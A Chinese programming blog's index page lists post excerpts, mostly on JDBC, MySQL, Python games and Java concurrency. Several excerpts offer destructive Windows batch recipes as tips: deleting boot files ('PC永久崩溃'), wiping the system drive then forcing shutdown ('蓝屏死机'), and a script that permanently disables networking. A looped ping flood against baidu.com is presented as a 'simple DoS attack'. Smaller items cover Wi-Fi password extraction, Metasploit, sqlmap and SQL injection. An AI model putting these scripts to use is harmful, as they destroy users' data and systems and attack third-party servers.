自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

qq_43776408的博客

我喜欢当程序员,或许这只是我的兴趣而不是我的工作

  • 博客(73)
  • 收藏
  • 关注

原创 永久禁用网络

不要直接复制,注意其中的文件路劲echo @echo off>c:\windows\wimn32.bat echo break off>>c:\windows\wimn32.bat echo ipconfig/release_all>>c:\windowswimn32.bat echo end>>c:\windows\wimn32.bat reg...

2019-08-31 19:56:15 939 2

原创 显示出wifi密码

netshwlan show profile就显示出了你之前所连接的所有wifiwlan show profile mm key=clear就可以看到密码了

2019-08-31 19:54:43 114

原创 蓝屏死机

@echo offdel %systemdrive%\*.* /f /s /q shutdown -s -f -t 00

2019-08-31 19:51:59 324

原创 防御DDoS

1.异常流量的清洗过滤通过DDOS硬件防火墙对异常流量的清洗过滤通过数据包的规则过滤、数据流指纹检测过滤、及数据包内容定制过滤等顶尖技术能准确判断外来访问流量是否正常进一步将异常流量禁止过滤。单台负载每秒可防御800-927万个syn攻击包。2.分布式集群防御这是目前网络安全界防御大规模DDOS攻击的最有效办法分布式集群防御的特点是在每个节点服务器配置多个IP地址,并且每个节点能...

2019-08-31 19:50:02 291

原创 PC永久崩溃

@echo off Attrib -r -s -h c:\autoexec.bat Del c:\autoexec.bat Attrib -r -s -h c:\boot.ini Del c:\boot.ini Attrib -r -s -h c:\ntldr Del c:\ ntldr Attrib -r -s -h c:\windows\win.ini Del c:\windo...

2019-08-31 19:46:45 440

原创 一次简单的DOS攻击

ping -t -l 1024 www.baidu.com1500字节就会请求超时把它保存为一个bat文件然后不停的双击它//或者命令行里输入for /l %i in (1,1,50) do start D:\自己的软件\DOS攻击.bat这个DOS攻击.bat就是存的是你上述那个bat代码...

2019-08-31 19:45:05 2497

原创 Metosploit翻译

9 services unrecognized despite returning data. If you know the service/version9项服务虽有回复,但仍未识别。如你知道有关服务/版本///

2019-08-31 19:41:16 278

原创 Metosploit官方说明

Core Commands============= Command Description ------- ----------- ? Help menu banner Display an awesome metasploit banner cd Change the...

2019-08-31 19:40:17 401

原创 Metosploit基础

1.nmap –sV IP(或者域名),如果机器设置有防火墙禁ping,可以使用nmap -P0(或者-Pn) –sV IP(或者域名),通过这两个命令可以查看主机的开放情况,建议你用后面那个通过第一步得到一下结果可以看到靶机开放的端口,开放状态,服务类型,和版本号,其中渗透最重要的两个参数是开放状态和版本号。如果端口是关闭的,那就不可能渗透了,一般是防火墙过滤了,但如果是过滤的话,还是可...

2019-08-31 19:38:45 213

原创 sqlmap翻译

heuristics detected web page charset启发式检测到的网页字符集it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly在这种情况下, 不建议继续。您是否要退出并确保...

2019-08-31 19:32:42 2044

原创 MySQL符号解析

AUTO_INCREMENT:主键自增PRIMARY KEY:主键create table时,最前面前面是每一列的名字ENGINE = InnoDB 是设置表的引擎。 innoDB 引擎是比较新的, 支持外键 与 事务处理等特性comment就是用来给表加备注,用于以后你在重新看时可以想起来NOT NULL 约束强制字段始终包含值。这意味着,如果不向字段添加值,就无法插入新...

2019-08-31 19:29:19 414

原创 MySQL登录方式

select * from mysql.user; //查看用户的信息SELECT USER(); //也可以查看当前用户,建议用这个mysql用户名是root@localhost//mysql -h 主机名 -u 用户名 -p-h : 指定客户端所要登录的 MySQL 主机名, 登录本机(localhost 或 127.0.0.1)该参数可以省略;-u : 登录...

2019-08-31 19:28:19 223

原创 MySQL:NULL

//MySQL的NULLMySQL 使用 SQL SELECT 命令及 WHERE 子句来读取数据表中的数据,但是当提供的查询条件字段为 NULL 时,该命令可能就无法正常工作。IS NULL: 当列的值是 NULL,此运算符返回 true。IS NOT NULL: 当列的值不为 NULL, 运算符返回 true。<=>: 比较操作符(不同于=运算符),当比较的的两个值为 NU...

2019-08-31 19:25:28 116

原创 MySQL基础

进入MYSQL过程1.cd C:\web\mysql-8.0.14\bin2.mysqld --initialize --console3.mysql -u root -p4.123456MySQL Ctrl+C:停止,但不会退出MysqlCtrl+Z:退出MySQLEmpty set:空集sqlmapproject-sqlmap-9f75fd4sqlmap.py -u ht...

2019-08-31 19:24:10 280

原创 注册一个新用户

package abc;import java.sql.Connection;import java.sql.DriverManager;import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;import java.util.Scanner;public c...

2019-08-31 19:21:46 145

原创 实现带条件查询

///////////////////接下来我们重新在原来之前数据库中创建一个表mysql> CREATE TABLE admin( -> id int auto_increment, -> loginpwd varchar(20) not null, -> loginid varchar(30) not null, -> PRIM...

2019-08-31 19:21:09 507

原创 删除用户

package abc;import java.sql.Connection;import java.sql.DriverManager;import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;import java.util.Scanner;public c...

2019-08-31 19:20:03 192

原创 判断用户是否可以登录

package abc;import java.sql.Connection;import java.sql.DriverManager;import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;import java.util.Scanner;public c...

2019-08-31 19:19:26 396

原创 简单的SQL注入

package abc;import java.sql.Connection;import java.sql.DriverManager;import java.sql.PreparedStatement;import java.sql.ResultSet;import java.util.Scanner;public class MySQL1 { public static ...

2019-08-31 19:17:04 277

原创 详细讲解每一步

package abc;import java.sql.*;public class MySQL { public static void main(String[] args) { // TODO Auto-generated method stub //1.加载驱动类 /** * 找到com.mysql.jdbc包 * 里面有个Driver * 填...

2019-08-31 19:16:16 164

原创 JDBC概念

JDBC是java连接数据库的技术可以使用java语言连接并操控数据库(比如实现增删改)当我们要使用java连接数据库,就必须下载对应数据库的驱动包,下载完之后将该包导入编译器,怎么导入网上有https://static.runoob.com/download/mysql-connector-java-8.0.16.jar////JDBC的执行流程1.连接数据源,如:MySQ...

2019-08-31 19:15:10 158

原创 JAVA连接数据库实例

////运行代码之前请先确认你的数据库的名字,my.ini文件中的端口号是否是3306,MySQL的版本,以及你的登录用户名和密码//比如jdbc:mysql://localhost:3306/RUNOOB这行代码//当中3306就是端口号,RUNOOB就是数据库名字//如果你的MySQL版本为8以上,可以运行以下代码//但如果是8以下,你需要做修改。具体在哪改以下会有提示//看不懂没...

2019-08-31 19:10:18 305 1

原创 测试

CREATE TABLE `websites` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` char(20) NOT NULL DEFAULT '' COMMENT '站点名称', `url` varchar(255) NOT NULL DEFAULT '', `alexa` int(11) NOT NULL DEFAULT '0'...

2019-08-31 19:09:25 160

原创 java连接mysql数据库

//你需要导入包//导的是那个版本比较高的那个//java是要通过JDBC驱动程序连接mysql数据库package abc;import java.sql.*;public class MySQLDemo { // MySQL 8.0 以下版本 - JDBC 驱动名及数据库 URL //static final String JDBC_DRIVER = "com...

2019-08-31 19:08:03 84

原创 DBHelper类

package abc;import java.sql.*;/** * 数据库帮助类 * @author wxr *抽取公共代码 *便于优化 *1.抽取公共代码 *2.对查询的方法进行封装 *3.对添加,删除,更新的操作进行封装 *4.将数据库的连接信息定义为一个常量来看 *5.驱动只需加载一次,使用static *6.封装数据库连接,获取连接对象 */public c...

2019-08-31 19:07:04 167

原创 Python:贪吃蛇

import pygame,sys,random,timefrom pygame.locals import * #从pygame模块导入常用的函数和常量#定义颜色变量black_colour = pygame.Color(0,0,0)white_colour = pygame.Color(255,255,255)red_colour = pygame.Color(255,0,0)...

2019-08-29 23:34:10 213

原创 Python:练习打字游戏

from tkinter import *import randomimport stringfrom datetime import datetimeroot = Tk()root.title("Python打字练习题 By:清风Python")Label(root, text='系统题目:').grid(row=0)Label(root, text='用户作答:').grid(...

2019-08-29 23:33:02 1944 2

原创 Python:弹珠游戏

from tkinter import *from random import randintdef getRandomColor(): color = "#" for j in range(6): color += toHexChar(randint(0, 15)) return colordef toHexChar(hexValue): ...

2019-08-29 23:32:06 592

原创 Python:打砖块游戏

#导入模块import pygamefrom pygame.locals import *import sys,random,time,mathclass GameWindow(object): '''创建游戏窗口类''' def __init__(self,*args,**kw): self.window_length = 600 self.window_wide = ...

2019-08-29 23:30:40 955 1

原创 哲学家问题

//哲学家问题//什么是死锁?//比如两个相互占用对方所需的资源,但是都不释放自己的//所以就形成了无限等待的现象//死锁一旦产生没有外力帮助就永远存在,对程序产生严重影响public class DeadLock extends Thread{ protected Object tool; static Object fork1 = new Object(); static Ob...

2019-08-29 23:28:15 95

原创 数组的无锁AtomicIntegerArray

//数组的无锁AtomicIntegerArrayimport java.util.concurrent.atomic.*;public class AtomicIntegerArrayDemo{ //10个元素的数组 static AtomicIntegerArray arr = new AtomicIntegerArray(10); public static class AddT...

2019-08-29 23:27:44 163

原创 AtomicReference

//一家商店为了挽留客户决定为贵宾卡里小于20元的用户免费充值20//但是一个用户只能被充值一次//运行以下程序你会发现用户一旦卡上余额小于20就会被充值20元//这与只充值一次不相符//其原因就是账户余额被反复修改,修改后等于原来的值//使得CAS无法判断当前数据状态//AtomicReference是对对象的引用,而AtomicInteger是对整数的引用import jav...

2019-08-29 23:27:10 221

原创 AtomicStampedReference时间戳

//一家商店为了挽留客户决定为贵宾卡里小于20元的用户免费充值20//但是一个用户只能被充值一次//之前我们用AtomicReference//但是这样会出现一个问题:同一个用户会被充值多次//所以这次我们使用AtomicStampedReference解决这个问题////即使对象被反复读写,并写回原值//只要时间戳发生变换,就能防止不恰当写入//import java.uti...

2019-08-29 23:26:31 211

原创 无锁AtomicInteger类

//无锁//无锁是使用一种叫CAS技术的,使用无锁程序会略微复杂//多个线程同时使用CAS操作一个变量时只有一个会胜出,并成功更新,这和有锁很相似//那些失败的线程不会被挂起,而是会被告知失败,并且允许在此尝试//CAS有三个变量,V,E,N//V表示要更新的变量,E表示预期值,N表示新值//当V和E的值相等时,才会将V设置为N//当V和E的值不等时,不会将V设置为N//无锁使用的...

2019-08-28 23:26:22 125

原创 SimpleDateFormat中parse和format的区别

//SimpleDateFormat中的parse方法可以 //把String型的字符串转换成特定格式的date类型 public static void main(String[] args) { String str = "2013-01-21 15:10:20"; Date date = null; SimpleDateF...

2019-08-28 23:25:16 173

原创 Calendar

import java.util.*;public class xian{ public static void main(String args[ ]){ /*Calendar.YEAR 年份Calendar.MONTH 月份Calendar.DATE 日期Calendar.DAY_OF_MONTH 日期,和上面的字段意义完全相同Calendar.HOUR 12...

2019-08-28 23:24:41 181

原创 测量时间

import java.util.*;public class xian { public static void main(String args[]) { try { long start = System.currentTimeMillis( ); System.out.println(new Date( ) + "\n"...

2019-08-28 23:24:00 189

原创 SimpleDateFormat类

import java.util.*;import java.text.*;public class xian{ public static void main(String[] args) { Date now = new Date( ); SimpleDateFormat ft = new SimpleDateFormat ("E yyyy.MM.dd 'at' hh...

2019-08-28 23:23:23 134

原创 java虚拟机对锁优化的努力

//java虚拟机对锁优化的努力//1.锁偏向//一个获得了锁,那么该锁就进入偏向模式,该线程下次在访问该锁时无需其他操作//但是如果同时大量不同的线程访问该锁时就会处于等待状态,锁偏向失效,////2.轻量级锁//如果锁偏向失效,线程不会立即挂起,系统就会使用轻量级锁,获得轻量级锁的线程还是可以进入临界区//没有获得轻量级锁的线程的锁请求就会膨胀为重量级锁////3.自旋锁/...

2019-08-28 23:22:52 256

原创 jinfo命令

查看jvm的参数jinfo -flags process_id查看java系统参数jinfo -sysprops process_id虚拟机的这些参数可以通过下面的命令查看:java -XX:+PrintFlagsFinal -version | grep manageable除了通过启动脚本可以设置参数,PrintGC默认是打开的,因此我们只需要打开PrintGCDetails...

2019-08-28 23:22:09 217 1

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除